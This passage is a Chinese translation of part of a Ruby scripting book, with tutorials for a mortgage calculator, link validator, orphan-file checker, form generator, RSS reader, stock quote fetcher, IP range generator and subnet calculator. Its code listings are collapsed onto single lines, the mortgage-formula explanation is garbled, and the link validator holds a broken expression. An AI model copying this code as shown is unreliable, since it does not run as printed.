所有最初放入 Zip 文件中的文件都将按照压缩前的结构进行解压。例如,我将nostarch.zip解压到chapter1.odt。压缩后的 Zip 文件chapter1.odt大小为 26.3KB,解压后文件恢复到原始的 29.1KB。
它是如何工作的
与压缩脚本类似,此脚本期望将压缩文件作为命令行参数提供。如果无法找到存档文件,脚本将向用户显示错误消息
。这两个脚本的主要区别在于,解压脚本不是要求输入要创建的 Zip 文件名,而是要求输入解压文件的目标路径
。
下一步是begin/rescue块的开始
。与压缩脚本一样,解压缩是代码中的一个脆弱部分。解压缩的第一部分是打开压缩文件
。之后,每个文件都会被解压缩。解压缩例程会重新创建与压缩前相同的目录结构
。因此,如果压缩前有两个子文件夹,那么在脚本完成后也会有两个文件夹。只要没有遇到错误,脚本就会将每个文件输出到用户指定的目录。脚本的最后一部分是rescue块,它会捕获并报告解压缩过程中发生的任何错误
。
抵押贷款计算器
抵押贷款计算器
mortgageCalc.rb
我最近开始看房子。作为一个首次购房者,这项任务似乎很艰巨,尤其是当我考虑融资选项时。所以我决定写一个脚本来帮助我了解抵押贷款利率——至少这样,我可以估算我的月供。尽管 Ruby 没有解决与购房相关的所有问题,但这个脚本帮助我了解了我的融资选项。
代码
print "Enter Loan amount: " loan = gets.chomp.to_i print "Enter length of time in months: " time = gets.chomp.to_i print "Enter interest rate: " rate = gets.chomp.to_f/100  i = (1+rate/12)**(12/12)-1  annuity = (1-(1/(1+i))**time)/i  payment = loan/annuity  puts "\n$%.2f per month" % [payment]
运行代码
这个脚本交互式运行,因此无需任何参数。它会引导用户输入所需的所有信息以得出正确的月供。不需要命令行参数。
结果
输入贷款金额:*`250000`* 输入月数:*`360`* 输入利率:*`6.5`* 每月$1580.17
它是如何工作的
对于我来说,抵押贷款计算似乎有点神秘,我以为我需要一堵学位墙来理解这些公式。幸运的是,计算抵押贷款支付并不像解微分方程!一旦你理解了基本公式,它就简单多了。抵押贷款支付的计算分为两个主要公式(如果你特别大胆,可以合并成一个公式)。第一个公式使用以下方程计算每月的利率 **(12/12)-1`
我们需要的下一项信息是年金因子
。基本上,年金因子是每个时间段内 1 美元的当前价值。时间以月份为单位。因此,计算如下:
annuity = (1-(1/(1+i))**time)/i
现在年金因子已经计算出来,我们真正追求的是月付款额。将贷款金额除以年金因子就可以得到最终答案
。剩下的只是进行一些格式调整,以便更容易阅读信息。与其他编程语言一样,Ruby 为程序员提供了指定输出格式的能力。在这种情况下,对于货币值,我感兴趣的是除了整数或整美元值之外,还有两位小数的分值
。
操纵脚本
操纵这个脚本的一种方法是为利率或贷款金额提供一些变动,这样输出就可以显示几个可能的月付款额,而不仅仅是其中一个——可能是±0.05%。通常,当你寻找抵押贷款时,你会比较大量的财务信息。你能在同一个界面上提供的信息越多,你做出的决定就越好。
第二章 网页脚本

Ruby 和网络是相辅相成的。互联网和万维网提供了如此多的信息,以至于找到具体的信息可能会让人感到不知所措。流行的搜索引擎使得网络爬取变得更加容易管理,但这些搜索引擎缺乏定制。如果你要编写自己的脚本,就有可能定制收集信息的各个方面以及如何展示这些信息。
注意
如果你听说过 Ruby,那么你很可能也听说过 Ruby on Rails。这本书不涉及 Rails,因为 Ruby 本身就是一个强大的工具,可以用来利用网络。但如果你想探索使用 Ruby 进行 Web 应用程序开发,你绝对应该检查 Rails 框架 (www.rubyonrails.org/)).
网页链接验证器
网页链接验证器
linkValidator.rb
这个脚本的目的是验证网页上的所有链接。检查链接的有效性有几个原因。首先,作为一个观众,遇到断链是非常令人沮丧的。其次,有效的链接使网站看起来更专业。最后,如果你的网站包含指向其他网站的链接,而他们移动或删除了页面,除非你特别检查,否则你无法知道。
没有自动化这项任务,一个人就必须逐个点击每个链接来验证路径是否有效。极小的网站很容易验证,但包含许多链接的网站既繁琐又耗时。这是一个手动完成可能需要几个小时的任务的例子。通过使用一些 Ruby 技巧,你可以将时间缩短到 10 秒!编写脚本会花费一点时间,但它可以重复使用。
代码
require 'uri' require 'open-uri' require 'rubyful_soup' begin print "\n\n 请输入要爬取的网站(例如:http://www.google.com): " url = gets puts url uri = URI.parse(url)  html = open(uri).read  rescue Exception => e  print "无法连接到 url:" puts "ERROR ---- #{e}" end soup = BeautifulSoup.new(html)  links = soup.find_all('a').map { |a| a['href'] }  links.delete_if { |href| href =~ /javascript|mailto/ }  links.each do |l| if l begin link = URI.parse(l) link.scheme ||= 'http' link.host ||= uri.host link.path = uri.path + link.path unless link.path[0] == // link = URI.parse(link.to_s) open(link).read rescue Exception => e puts "#{link} failed because #{e}" end end end
运行代码
你将通过首先以这种方式启动脚本来验证任何给定网站上的链接:
**`ruby linkValidator.rb`**
脚本会提示您输入想要爬取的网站。您需要输入带有完整 URL 地址的网站(例如,www.nostarch.com/)。从那里,脚本将列出它难以访问的链接。
结果
作为测试,我将脚本运行在一个不便透露的网站上,结果如下。
``输入要爬取的网站(例如:http://www.google.com):http://www.url.com http://www.url.com/products/specials.html 失败,因为 403 禁止访问```
该网站大约有 50 个链接。除了一个名为 specials.html 的链接外,其他所有链接都经过了验证。正如从错误报告中可以看出,specials 页面无法访问的原因是 "403 禁止访问"。这是因为网站所有者不想让公众查看 special 页面。
它是如何工作的
首先,我们需要谈谈 HTML 操作和与网站交互。Ruby 有几种访问网络的方式,但最简单易用的,无疑是 open_uri。如果你熟悉 wget,那么了解 open_uri 应该很容易;通过我的邪恶小宝石,我已经在抓取网页的路上走了一半。对于网络抓取活动,我通常使用 rubyful_soup,这是一个 Ruby 的 HTML/XML 解析器,结合 uri 和 open_uri 使用。rubyful_soup 宝石可以像书中使用的其他宝石一样安装。当你跟随书中的示例时,你会看到 rubyful_soup 有多强大。
脚本开始时有一些错误处理,以防用户错误地输入了错误的 URL 或无法连接到网址的根目录!。无论如何,用户将有多于一次的机会来纠正他的错误。
在输入了 URL 之后,它使用 uri 库进行解析。你提供的 URL 使用 open(uri).read 命令打开!。这一行打开了 URL 并读取了所有的 HTML 源代码。很酷,对吧?你曾想过抓取网页会这么简单吗?
如果在导航到你的 URL 时出现任何问题,脚本将显示错误并打印出具体的错误信息!。现在轮到有趣的部分了,这是 rubyful_soup 展示其力量的时刻。
通过初始化 BeautifulSoup 并传入我们的 HTML 源代码,制作了一批新的 rubyful_soup。这个 soup 允许我们轻松解析 HTML 源代码。当然,你可以写一个复杂的正则表达式或者检查每一行是否有 HREF,但这个功能已经由 soup 支持了!只需告诉 soup 在源代码中查找所有链接并将它们保存到我们名为 links 的数组中!。我们想要移除的是 javascript 和 mailto 链接,因为这些链接在开始测试链接有效性时会让解析器感到不高兴!。一旦链接清理完毕,脚本开始遍历每一个链接。
由于我们正在检查每个链接的有效性,我们实际上是在检查任何会抛出错误的链接。如果没有错误被抛出,我们可以确定链接是有效的。为了解释输出,我们使用了更多的错误处理技巧,并开始检查每个链接
。如果链接有效,脚本将继续。如果链接有问题,它将被记录。在这个脚本中,我选择将坏链接输出到命令提示符,但你也可以修改脚本以将其输出到文本文件或其他你想要的格式。
脚本黑客技术
对于这个脚本,另一个技巧是爬取在初始根域名中找到的有效链接。你可以通过指定一个爬取的链接深度来限制爬虫。这将允许你爬取整个网站上的每个链接。如果该网站不是你自己的,你可能还希望在页面抓取之间添加延迟,这样就不会拖垮服务器。你也可以使用 open_uri 来集成 HTTPS 支持。
如果你希望爬取特定的网站,你可以将地址硬编码到脚本中,这样你就不必每次都输入它。这是一个非常棒的爬虫脚本基础。
孤儿文件检查器
孤儿文件检查器
orphanCheck.rb
在本节中,我们将查看无效链接文件的逆过程——我将向你展示如何找到完全没有链接的文件。"孤儿文件"是指任何在 Web 服务器上丢失链接的文件。这些文件不仅浪费空间,还有可能用多余的文件让网页管理员感到困惑。
我可能被一些人称为整洁狂热者。我喜欢事物井然有序,就像我喜欢的那样。我讨厌杂乱和浪费空间。我对我的计算机系统也是同样的态度,所以我更喜欢只保留我需要的文件。如果你曾经做过很多更改或升级,或者如果你曾经不得不与他人共享系统,那么你就知道文件系统可以变得多么混乱和无序。孤儿文件检查器脚本的独特之处在于它提供的信息可以解决两个问题。第一个问题是找出哪些文件在你的 Web 服务器上不可访问。其次,该脚本允许你看到那些不应该被列出的文件。显然,有些文件不应该有链接,但在运行此脚本之前,你应该知道哪些文件是这样的。
代码
 links = Array.new orphans = Array.new dir_array = [Dir.getwd]  unless File.readable?("links.txt") puts "文件不可读。" exit end File.open('links.txt', 'rb') do |lv| lv.each_line do |line| links << line.chomp end end begin p = dir_array.shift Dir.chdir(p) Dir.foreach(p) do |filename| next if filename == '.' or filename == '..' if !File::directory?(filename)  orphans << p + File::SEPARATOR + filename else dir_array << p + File::SEPARATOR + filename end end end while !dir_array.empty?  orphans -= links File.open("orphans.txt", "wb") do |o|  o.puts orphans end
运行脚本
要运行脚本,你必须已经创建了一个名为 links.txt 的文件,该文件包含网站上所有超链接的列表。这个列表可以使用 The Code 上的修改版 "#10 Web Page Link Validator" 或你自己的脚本完成。格式是一个单独的文件,每行包含完整路径。我用于此示例的文件基于一个用于跟踪我一些 Ruby 网页脚本的网页;它看起来像这样:
/ruby/scripts/website_scripting\index.html /ruby/scripts/website_scripting\orphanCheck.rb /ruby/scripts/website_scripting\rssParser.rb /ruby/scripts/website_scripting\ipAdderGen.rb /ruby/scripts/website_scripting\formGenerator.rb
脚本完成所有工作;你只需输入:
**`ruby orphanCheck.rb`**
现在,请坐下来放松,等待脚本写入 orphans.txt。
结果
此脚本的输出结果将保存在名为 orphans.txt 的文件中。该文件将包含每个在 links.txt 文件中没有列出的文件的完整路径。如您所回忆的,links.txt 文件包含网站上找到的所有文件的列表。以下是一个 orphans.txt 文件的示例:
/ruby/scripts/website_scripting\form.html /ruby/scripts/website_scripting\linkValidator.rb /ruby/scripts/website_scripting\subnetting.rb /ruby/scripts/website_scripting\historicalStockParse.rb /ruby/scripts/website_scripting\links.txt
这些是在网页服务器上找到但不在 links.txt 文件中的文件。如果我想将这些文件与全世界分享,那么在我的网页上为它们添加 <a href="link"> 标签。但如果这些孤儿文件仍在制作中且尚未准备好公开查看,那么就不会有任何问题(情况就是这样)。
如何工作
该脚本不使用任何外部库,因此保持了其执行简单。我开始初始化我将使用来跟踪我的链接和孤儿文件的数组
。接下来,我检查我的links.txt文件是否存在。如果不存在,那么继续运行脚本就没有太多意义了,所以它会以一个友好的错误消息退出
。如果links.txt文件存在,那么我们将继续打开文件并逐行读取所有内容。你可以将其更改为逗号分隔值 (CSV) 文件,但我更喜欢每行一个链接的易读性。
在将链接存储在数组links之后,脚本开始索引当前工作目录中的每个文件。结果将存储在一个名为orphans的数组中
。如果有子目录,脚本也会索引那些文件。假设你会在这个脚本的根目录下运行它,以充分利用这个脚本。
现在脚本已经对链接和本地文件进行了索引,是时候开始比较这两个数组,看看还剩下什么
。我称第二个数组为orphans,因为我将删除任何存在于link数组中的条目。剩下的将是不包含在公共服务器端的文件。
脚本最后在脚本目录中创建一个名为orphans.txt的文件,并将结果写入该文件
。最后,在代码块完成后,文件被关闭,脚本结束。
表单生成器
表单生成器
formGenerator.rb
当表单首次出现在 HTML 场景中时,它们是被低估的工具。现在你几乎可以访问任何网站,并找到底部有那种酷炫的小提交按钮的表单。谷歌为提交按钮搜索返回了惊人的 6000 万条结果。不用说,网络表单已经成为我们数字生活的一部分。表单可以收集许多不同类型的信息。它们还可以匿名化收件人的电子邮件地址。如果你的电子邮件地址发布在网站上,并且电子邮件收集器收集了它,你可以预期会收到大量的垃圾邮件。如果你在你的网站上使用表单,你的电子邮件将保持对用户(和机器人)隐藏,但你仍然可以收到来自网站用户的电子邮件。此外,表单允许用户在不需要他们自己的简单邮件传输协议 (SMTP) 服务器或电子邮件服务的情况下进行通信。
表单简单灵活。如果你想收集客户反馈,创建一个表单。如果你想进行调查,创建一个表单。你明白这个意思。
知道如何创建它们是一项很好的技能,但更酷的技能是知道如何自动创建它们!使用这个脚本,您可以即时构建表单或创建表单模板。创建网页表单并不是什么大问题。随着您对这个脚本的实验,您将生成大量的表单文件。如果您不想跟踪每个文件,那么请使用脚本 #11,孤儿文件检查器(见 Hacking the Script),来清理您的混乱。
代码
require 'cgi'  cgi = CGI.new("html4Tr")  print "Enter Form Page Title: " title = gets.chomp print "Enter Head Title: " input_title = gets.chomp print "Enter value for button: " value = gets.chomp print "Enter group: " group = gets.chomp  $stdout = File.new("form.html","w") cgi.out{ CGI.pretty( cgi.html{  cgi.head{ "\n"+cgi.title{title}}+ cgi.body{"\n" + cgi.form{"\n" + cgi.hr + cgi.h1 { "#{input_title}:" } + "\n" + cgi.br + cgi.checkbox(group, value) + value + cgi.br + cgi.br + cgi.textarea("input",80,5) + "\n" + cgi.br + cgi.submit("Send") } } } ) } $stdout.close
运行代码
这个脚本通过用户输入来创建 HTML 表单。像执行其他脚本一样执行此脚本,并遵循其指示。
结果
form.html 的内容:
Content-Type: text/html Content-Length: 724 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML> <HEAD> <TITLE> No Starch Press | Errata Submissions </TITLE> </HEAD> <BODY> <FORM METHOD="post" ENCTYPE="application/x-www-form-urlencoded"> <HR> <H1> Wicked Cool Ruby Scripts -- Errata Submissions: </H1> <BR> <INPUT NAME="Bad Errata Submissions" TYPE="checkbox" VALUE="High Priority"> Super Critical!!! <BR> <TEXTAREA NAME="input" ROWS="5" COLS="80"> </TEXTAREA> <BR> <INPUT TYPE="submit" VALUE="Send"> </FORM> </BODY> </HTML>
在 图 2-1 中查看其效果。

图 2-1. 在网页浏览器中看到的最终形式
它是如何工作的
表单生成脚本使用 cgi 库,因此在 require 语句中包含它。我创建了一个新文档,并指定使用 html4Tr 作为参数来生成我的代码,使用 HTML 4.0 Transitional 版本的方法
。其他选项是 html3(HTML 3.x)、html4(HTML 4.x)或 html4Fr(带有框架集的 HTML 4.0)。在设置 cgi 方法之后,脚本请求用户的信息
。此脚本创建了一个包含一个复选框和一个文本框的提交表单。这个例子是为勘误表单开发的。
首先请求表单的头部,然后是网页表单的标题。接下来展示复选框的值。在这个例子中,我给了用户提交值 High Priority 的选项,以展示复选框选项。复选框在你需要寻找必须做出特定选择的信息时很有用;例如,晚餐选择——chicken 或 beef。最后,我添加了一个文本框,允许用户详细说明她可能发现的任何错误。一旦收集到信息,脚本将开始编写一个漂亮的 HTML 表单。
在标准输出的重定向中包含了两个重要的代码行
。$stdout 被重定向到一个名为 form.html 的新文件中,它将捕获 HTML 表单。调用 cgi 方法 out 准备文件以创建 HTML 代码。然后使用 pretty 方法;虽然不是必需的,但它清理了 HTML 代码,使其易于阅读,具有适当的行间距和缩进。
然后 HTML 方法开始构建我们表单的每一部分。首先是头部,这是我们之前指定的;接下来是主体,包含表单的每一部分
。最后,也是最重要的,是提交按钮,我恰当地命名为“发送”。为了清理我们打开的文件,我们关闭它并退出脚本。我们闪亮的新 HTML 表单已准备好使用。
脚本破解
这个脚本的优点在于如何使编写 HTML 代码变得简单。你可以进一步探索 cgi 库,以包含单选按钮、多组和其他表单元素。你可以通过指定需要多少组和每组应该有多少选项来使这个脚本更加灵活。
RSS 解析
RSS 解析
rssParser.rb
真正简单的聚合(RSS) 是一种自 2000 年初以来越来越受欢迎的奇妙技术。RSS 源允许用户保持对经常变化的信息的最新了解,例如新闻标题或产品公告。许多网站都提供 RSS 源,需要一个源阅读器来提取源中包含的重要数据。
分发可以扩展信息的功能和互操作性。Ruby 有一个库,允许你自定义获取、发布、聚合和操作 feed 的方式。此脚本将允许你从 No Starch 的博客nostarch.com/blog/?feed=rss2/获取信息。
代码
require 'rss/1.0' require 'rss/2.0' require 'open-uri'  source = "http://nostarch.com/blog/?feed=rss2" # rss feed 的位置 content = ""  open(source) do |info| content = info.read end  rss = RSS::Parser.parse(content, false) print "你想查看 feed 描述吗(y/n)? " input = gets.chomp desc = input == 'y' || input == 'Y' puts "\n\n 标题:#{rss.channel.title}" puts "描述:#{rss.channel.description}" puts "链接:#{rss.channel.link}" puts "发布日期:#{rss.channel.date} \n\n"  rss.items.size.times do |i| puts "#{rss.items[i].date} ... #{rss.items[i].title}" if desc print "#{rss.items[i].description}\n\n\n" end end
运行代码
要运行此脚本,请输入:
**`ruby rssParser.rb`**
脚本将询问你是否想查看 feed 描述以及标题。输入yes或no。如果你输入no,脚本将只显示每个条目的标题。
结果
关闭描述:
标题:The No Starch Press Blog 描述:内容丰富,无冗余 链接:http://nostarch.com/blog 发布日期:Thu, 07 Aug 2008 13:42:08 -0400 Thu, 07 Aug 2008 13:42:08 -0400 ... 在拉斯维加斯的美食 Tue, 29 Jul 2008 22:44:17 -0400 ... 布尔运算符 Thu, 10 Jul 2008 03:18:18 -0400 ... 窗口升级地狱 Sat, 05 Jul 2008 02:47:27 -0400 ... 谷歌的问题? Thu, 03 Jul 2008 15:35:30 -0400 ... 尼克·霍恩比关于电子书 Tue, 17 Jun 2008 17:37:15 -0400 ... 下载快乐日! Tue, 17 Jun 2008 14:22:08 -0400 ... 如何写一本书 Mon, 16 Jun 2008 19:08:22 -0400 ... 周一下午链接节 Mon, 02 Jun 2008 04:36:47 -0400 ... 博客无聊吗? Wed, 21 May 2008 05:15:18 -0400 ... 巨大的乐高巨石
保持描述:
标题:更多内容,更少废话 描述:唯一一个没有淀粉的博客 链接:http://nostarch.com/blog 发布日期:Thu, 07 Aug 2008 13:42:08 -0400 Thu, 07 Aug 2008 13:42:08 -0400 ... 拉斯维加斯的美食 DEFCON 时间到了,这意味着是拉斯维加斯的时候了。虽然 1.99 美元的自助餐很诱人,但你可能已经吃够了当天的便宜牛排。查看 Bill 的餐厅地图,看看其他想法。这里有很多种类的美食,从喜马拉雅菜系到传统的美国食物。如果你去过 [...] Tue, 29 Jul 2008 22:44:17 -0400 ... 布尔运算 在司法部内部职位候选人“审查”过程中,Monica Goodling 执行的搜索:[候选人名字]! and pre/2 [候选人姓氏] w/7 bush or gore or republican! or democrat! or charg! or accus! or criticiz! or blam! or defend! or iran contra or clinton or spotted owl or florida [...] Thu, 10 Jul 2008 03:18:18 -0400 ... Windows 升级地狱 很不幸,我们这里很多人还在使用 Windows。(我现在几乎只使用 Ubuntu,除非我需要修复 Windows。)而且,更不幸的是,当遇到那个不可避免的 Windows 问题时,我经常不得不修复它。今晚我选择将我们的一台 XP 机器升级到 XP Pro。你可能会认为 [...] ---[省略]---
如何工作
幸运的是,这个脚本相当直接。脚本首先识别 RSS 源的位置
。这可以是任何活网站或本地文件,但必须是 RSS 格式。接下来,我们初始化变量 content,并继续从我们的源文件中读取所有信息——在这个例子中,源文件是 No Starch 的博客
。
在将原始数据保存在变量 content 中后,RSS 解析器开始施展其魔法。解析器会将 RSS 源解析成特定的格式,并将结果数据保存到名为rss的变量中
。变量rss有很多属性可供操作,所以请随意深入探索,看看你能从中获取哪些其他信息。
现在困难的部分已经解决,我决定向用户展示哪些信息。我最感兴趣查看的信息是日期、标题,以及可能的描述。这样我就可以快速浏览一个信息源,寻找可能进一步吸引我的内容。一些 RSS 源的描述可能很长,占用很多空间。我给自己提供了查看描述的选项,如果我真的需要的话
。正如你上面看到的,没有冗长描述的输出更容易处理。
操纵脚本
如果你对特定主题感兴趣,你可以加入一个搜索功能,在 RSS 条目的标题中或甚至在其描述中查找特定的关键词。另一个想法是使用这个脚本扫描多个源,寻找相似的文章,并将它们聚合起来以便于访问。你可能记得日期属性;你可以根据条目被放入源中的日期来过滤结果。例如,如果你正在寻找上周内的条目,你可以编写一个条件语句来仅显示最新的信息。
股票交易所 grep
股票交易所 grep
stockGrep.rb
股票太棒了!我喜欢投资公司,并观察它们如何成长和发展成为行业领导者。观看一场灾难性的失败也同样有趣。股市既迷人又复杂,许多人花费他们的一生试图理解它。我不尝试玩游戏或理解它;我只是观察。
但是,每当我看到我认为有潜力的股票时,我喜欢密切关注它。我可以通过网络服务或打开电视来观察股票,但这对我来说不够快。我喜欢以我想要的方式、地点和时间获取信息。
这个脚本允许我检索有关特定股票的不同信息,并根据某些事件执行操作。例如,这个脚本可以被修改为当股票达到预定义的水平时发送短信。它还可以将同一行业的多个股票聚合在一起,以便于比较。股市中有如此多的数据——能够提取重要信息是无价的。这个脚本可以以多种不同的方式修改,所以请阅读它,让你的想象力自由驰骋。
代码
require 'open-uri'  require 'csv'  def get_info stock_symbol puts "#{stock_symbol} 当前股票信息"  url = "http://download.finance.yahoo.com/d/ quotes.csv?s=#{stock_symbol}&f=sl1d1t1c1ohgv&e=.csv" puts "连接到 #{url}\n\n\n"  csv = CSV.parse(open(url).read) csv.each do |row| puts "--------------------------------------------------" puts "信息截至 #{row[3]} 在 #{row[2]}" "\n\n" puts "#{row[0]} 的最后交易价格为 - $#{row[1]} (上涨了 #{row[4]})" "\n\n" puts "\t 开盘价为 $#{row[5]}" puts "\t 当日价格范围为 $#{row[7]} - $#{row[6]}" end puts "--------------------------------------------------" end print "请输入股票代码(如果有多个,请用空格分隔): " stock_symbols = gets.upcase stock_symbols.split.each do |symbol| get_info(symbol) end
运行代码
运行脚本很简单——你只需提供一个股票代码,它就会拉取数据。就是这样。通过输入以下内容来执行脚本:
**`ruby stockGrep.rb`**
你将被提示输入你想要查询的股票代码。
Enter stock symbol (separate by space if > 1): **``*`arun`*``**
此脚本可以从 Yahoo! Finance 获取任何信息。
结果
Yahoo! Finance 上可用的任何信息都会在命令提示符中输出。StockGrep.rb以美观的格式输出标准股票信息。在这个例子中,我搜索了 Aruba Networks, Inc.,这是一家提供企业无线解决方案的公司。结果很有希望:
ARUN 当前股票代码信息 连接到 http://download.finance.yahoo.com/d/quotes.csv?s=ARUN&f=sl1d1t1c1ohgv&e=.csv -------------------------------------------------- 信息截至 2007 年 6 月 1 日下午 4:00 ARUN 的最新交易价格为- $20.20(上涨+0.85) 开盘价为$19.35 当日价格范围为$19.34 - $20.73 --------------------------------------------------
工作原理
脚本首先引入了两个库,以提供脚本的完整功能。我们之前提到过 open_uri,这是第一个库。为了提醒,请参阅代码中的脚本“#10 Web Page Link Validator”。第二个库是 csv,它能够解析逗号分隔值文件!。从 Yahoo!返回的对象将是一个 CSV 文件,正如你很快就会看到的。
接下来,我定义了一个简短的方法,该方法将用于从多个股票代码中检索信息!。如果我想将脚本限制为一次处理一个股票代码,这个部分可以直接添加到代码的主体中。在名为get_info的方法中,第一步是打印正在分析的股票代码。然后,为了从 Yahoo! Finance 请求正确数据,会构建一个自定义的 URL!。注意 URL 中嵌入的#{stock_symbol};这就是定制的发挥作用的地方。当这个 URL 发送到 Yahoo!时,会返回一个逗号分隔的值文件给脚本。
变量csv将用于存储由CSV.parse()方法解析的任何数据。CSV 文件中的每个元素都将放入一个数组!。Yahoo!的股票文件包含相同的字段,因此在输出应该是什么方面没有猜测的余地。六个puts行只是以用户友好的方式显示信息。
脚本的最后一步,实际上是首先执行的一步,是检索股票代码,然后将其拆分!。对于每个拆分的代码,都会调用上面解释的get_info方法。
警告
由于许多网站会不断更改其产品,所以如果 URL 不再有效,你必须找到新的一个。此脚本的更新将发布在 www.nostarch.com/wcruby.htm/。
脚本破解
几种修改可以使这个脚本更加强大。如果你对趋势分析感兴趣,可以将历史数据集成到这个脚本中,或者让脚本检索数据并将信息写入另一个文件以进行进一步分析。
还值得考虑使用网络爬虫跟踪的其他趋势。
IP 地址生成
IP 地址生成
ipAdderGen.rb
是否曾需要生成一系列的 IP 地址?我发现自己处于需要这种情况的几种情况中,而且我知道我不想手动生成列表。这里没有魔法,但这个脚本的实用性使其变得值得注意。
在日常工作中处理网络意味着处理 IP 地址。有时会使用简单的 ping 扫描来识别网络上的机器。此脚本可以生成我选择的任何格式的预定义 IP 地址列表。
然后,可以将这些 IP 地址输入到其他执行与每台机器相关任务的实用脚本中。此脚本可以被转换成一个可重用的库,并集成到各种场景中。
代码
class IP  def initialize(ip) @ip = ip end def to_s @ip end def==(other) to_s==other.to_s end  def succ return @ip if @ip == "255.255.255.255" parts = @ip.split('.').reverse  parts.each_with_index do |part,i| if part.to_i < 255 part.succ! break  elsif part == "255" part.replace("0") unless i == 3 else raise ArgumentError, "Invalid number #{part} in IP address" end end  parts.reverse.join('.') end  def succ! @ip.replace(succ) end end  print "Input Starting IP Address: " start_ip = gets.strip print "Input Ending IP Address: " end_ip = gets.strip  i = IP.new(start_ip)  ofile = File.open("ips.txt", "w")  ofile.puts i.succ! until i == end_ip ofile.close
运行代码
要运行此脚本,请输入:
**`ruby ipAdderGen.rb`**
然后将提示你提交 IP 地址范围:
Input Starting IP Address: **``*`192.168.0.1`*``** Input Ending IP Address: **``*`192.168.0.20`*``**
输出将是一个文本文件,每行包含一个 IP 地址。
结果
在脚本成功执行后,查找名为 ips.txt 的文本文件。正如预期的那样,输出将是:
192.168.0.1 192.168.0.2 192.168.0.3 192.168.0.4 192.168.0.5 192.168.0.6 192.168.0.7 192.168.0.8 192.168.0.9 192.168.0.10 192.168.0.11 192.168.0.12 192.168.0.13 192.168.0.14 192.168.0.15 192.168.0.16 192.168.0.17 192.168.0.18 192.168.0.19 192.168.0.20
工作原理
此脚本没有参数或选项。脚本会要求用户输入两个 IP 地址
。一个是 IP 范围的开始,另一个是结束。接下来,使用定义的 IP 类创建一个新的 IP 对象,名为 i
。在生成 IP 地址之前的最后一步是初始化将要写入 IP 地址的文件,命名为 ofile
。现在,有趣的部分开始了。
对于返回的每个项目,结果将被输出到 ofile。使用 IP 类的 succ! 方法,一个 until 循环调用 succ! 方法,直到 i 等于 end_ip
。一旦这两个值相等,这意味着已生成结束 IP 地址,并且输出文件被关闭。
该脚本依赖于一个名为 IP 的自定义类,它有四个方法:initialize、to_s、succ 和 succ!。IP 类很重要,因为一旦创建了一个对象,IP 地址就被存储为类变量,以便于跟踪。当声明 i 时,首先调用的方法是 initialize。这会将 @ip 设置为 start_ip
。接下来,调用 succ! 以开始创建 IP 地址的范围。succ! 调用 succ 并使用 replace 方法在 succ 返回值时覆盖 @ip 中的内容
。IP 类的核心位于 succ 方法
。如果 @ip 增加到最高的 IP 地址,脚本将返回 255.255.255.255。IP 地址只能达到那个值。
接下来,存储在 @ip 中的 IP 地址以反向顺序分割,使用点作为分隔符。这些值存储在一个名为 parts 的数组中。在 IP 地址被正确分割后,使用 each_with_index 方法调用数组上的新代码块来访问两块信息——传递的索引和值
。在这个块中,part 中的值与 255 进行比较,再次以防止无效的 IP 地址。如果值等于 255,则将其重置为零
。唯一的例外是当 i 的值为 3 时,因为那是 IP 的第一个八位字节。如果 part 小于 255,则调用 succ! 方法,并且 if/else 语句中断。
在每个部分通过代码块运行后,IP 地址将按照拆分它的相反顺序重新组合。脚本使用 join 方法将每个部分重新组合起来,元素之间用点分隔,所有这些都在反向顺序中
。如前所述,调用 succ! 方法,直到 end_ip 地址等于 succ! 的结果。这就是完美生成 IP 地址范围的全部内容。
子网计算器
子网计算器
subnetCalc.rb
IP 地址空间不是无限的,因此网络管理员必须意识到他们如何分配 IP 地址。一种通过使用子网掩码或无类别域间路由来分割网络的方法。为了正确计算子网或子网掩码,您需要一些信息。如果您不知道如何计算子网,那么希望这个脚本能给您带来启发。
您可以手动计算子网,但这可能很耗时,而且经过多次重复后,从十进制到二进制再回到十进制的转换会变得很繁琐。此脚本解决了必须记住子网计算的问题。只要您有可供脚本输入的信息,就可以放松一下……您的一天因此变得更加轻松。
备注
本例基于 IPv4 地址。
代码
 require 'ipaddr' begin print "Enter the IP address: "  ip = IPAddr.new gets.chomp print "Enter the Subnet mask: "  subnet_mask = IPAddr.new gets.chomp  rescue Exception => e puts "An error occurred: #{e}\n\n" end  subnet = ip.mask(subnet_mask.to_s) puts "Subnet address is: #{subnet}\n\n"
运行代码
脚本完全交互式,会引导您完成创建子网的过程。只需使用以下命令来运行它:
**`ruby subnetCalc.rb`**
结果
Enter the IP address: 192.168.1.130 Enter the Subnet mask: 255.255.255.192 Subnet address is: 192.168.1.128
工作原理
首先,脚本需要 ipaddr 库
,这在处理互联网协议地址时非常有用。该库不仅包含预定义的 IP 地址数据结构,还包括用于操作 IPv4 和 IPv6 地址的方法。计算子网地址的第一步是定义 IP 地址。用户会被提示输入地址,该地址将被保存到ip
。
依赖于IPAddr数据结构,我初始化了一个begin/rescue块,以防 IP 地址有任何问题,例如地址超出范围。顺便说一句,我本可以使用正则表达式来检查 IP 地址的完整性,但正则表达式相当长。如果检测到错误,rescue子句会捕获它并输出具体的错误原因
。
计算子网地址所需的第二项是子网掩码
。接下来,将 IP 地址和子网掩码转换为十进制数字,以便在两个地址上执行二进制算术运算AND。得到的二进制地址转换回十进制,就是最终的子网地址。您很快就会看到,ipaddr 库的mask方法抽象了所有的数学运算,使得子网地址计算变得简单。
如果两个地址都通过了 ipaddr 库的检查,则会调用mask方法
。mask方法期望传入一个字符串对象作为子网掩码地址,因此使用了to_s方法将IPAddr对象转换为字符串。最后,mask方法返回子网地址,然后将其显示给用户。
漏洞脚本
您可以轻松地将此脚本转换为同时处理 IPv6 地址和 IPv4 地址。我使用了 ipaddr 库的mask方法来实现二进制的AND操作,但您也可以显式地进行计算。
第三章 LI(U)NIX 系统管理

没有计算系统是直接从盒子里运行得最优的。无论你需要调整安全设置、添加用户、定义权限还是安装应用程序——总有事情要做。一旦系统配置得完全符合你的要求,接下来的任务就是维护系统,直到需要升级。然后这个周期又从头开始。这个周期被称为系统管理。精通 Linux 或 Unix 系统管理的管理员了解简单的脚本可以为极客的工具箱增添多少力量和灵活性。忘记那些日常任务吧:让脚本来处理它们。
修复错误的文件名
修复错误的文件名
fixFilename.rb
当涉及到文件命名时,存在无限的可能性。可以是简短的缩写文件名,也可以是长描述性文件名,甚至是不合逻辑的随机文件名。某些系统中的文件名可能过长,而其他系统中的文件名可能包含特殊或保留字符。
